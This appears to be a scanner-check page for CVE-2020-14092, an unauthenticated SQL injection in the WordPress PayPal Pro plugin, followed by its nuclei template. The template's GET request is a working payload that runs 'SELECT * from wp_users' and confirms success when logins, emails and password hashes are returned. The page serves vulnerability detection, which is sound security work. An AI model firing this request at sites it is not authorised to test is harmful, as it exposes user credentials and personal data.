WordPress PayPal Pro <1.1.65 - SQL Injection

criticalseverity

9.8CVSS score

94.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

WordPress PayPal Pro plugin before 1.1.65 is susceptible to SQL injection via the 'query' parameter which allows for any unauthenticated user to perform SQL queries with the results output to a web page in JSON format.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Update to the latest version of the WordPress PayPal Pro plugin (1.1.65 or higher) to mitigate the SQL Injection vulnerability.

How to confirm it

Send: GET {{BaseURL}}/?cffaction=get_data_from_database&query=SELECT%20*%20from%20wp_users
Positive when: contains in header "text/html" AND contains "\"user_login\"" and "\"user_email\"" and "\"user_pass\"" and "\"user_activation_key\"" AND status 200

Run it with nuclei: nuclei -id CVE-2020-14092 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-14092

info:
  name: WordPress PayPal Pro <1.1.65 - SQL Injection
  author: princechaddha
  severity: critical
  description: WordPress PayPal Pro plugin before 1.1.65 is susceptible to SQL injection via the 'query' parameter which allows for any unauthenticated user to perform SQL queries with the results output to a web page in JSON format.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Update to the latest version of the WordPress PayPal Pro plugin (1.1.65 or higher) to mitigate the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/10287
    - https://wordpress.dwbooster.com/forms/payment-form-for-paypal-pro
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14092
    - https://wordpress.org/plugins/payment-form-for-paypal-pro/#developers
    - https://wpvulndb.com/vulnerabilities/10287
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-14092
    cwe-id: CWE-89
    epss-score: 0.9453
    epss-percentile: 0.99855
    cpe: cpe:2.3:a:ithemes:paypal_pro:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: ithemes
    product: paypal_pro
    framework: wordpress
  tags: cve,cve2020,wp-plugin,sqli,paypal,wpscan,wordpress,ithemes,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?cffaction=get_data_from_database&query=SELECT%20*%20from%20wp_users"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - '"user_login"'
          - '"user_email"'
          - '"user_pass"'
          - '"user_activation_key"'
        condition: and

      - type: status
        status:
          - 200

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